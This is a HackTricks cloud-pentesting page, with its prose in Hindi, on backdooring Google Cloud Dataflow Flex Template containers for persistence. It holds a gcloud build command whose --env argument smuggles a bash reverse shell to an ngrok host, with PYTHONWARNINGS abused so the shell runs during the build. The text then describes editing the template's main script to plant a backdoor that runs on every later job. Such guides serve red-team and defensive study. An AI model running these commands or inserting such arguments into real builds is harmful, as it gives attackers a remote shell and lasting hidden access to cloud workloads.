GCP - Dataflow Persistence

Support HackTricks

Dataflow

Invisible persistence in built container

दस्तावेज़ से ट्यूटोरियल का पालन करते हुए, आप एक नया (जैसे कि पायथन) फ्लेक्स टेम्पलेट बना सकते हैं:

git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1

जब यह बन रहा है, आपको एक रिवर्स शेल मिलेगा (आप पिछले उदाहरण की तरह env वेरिएबल्स या अन्य पैरामीटर्स का दुरुपयोग कर सकते हैं जो Docker फ़ाइल को मनमाने चीजें निष्पादित करने के लिए सेट करते हैं)। इस क्षण में, रिवर्स शेल के अंदर, यह संभव है कि /template निर्देशिका में जाएं और मुख्य पायथन स्क्रिप्ट के कोड को संशोधित करें जो निष्पादित किया जाएगा (हमारे उदाहरण में यह getting_started.py है)। यहाँ अपना बैकडोर सेट करें ताकि हर बार जब कार्य निष्पादित हो, यह इसे निष्पादित करे।

फिर, अगली बार जब कार्य निष्पादित होगा, तो समझौता किया गया कंटेनर चलाया जाएगा:

# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
HackTricks का समर्थन करें

Last updated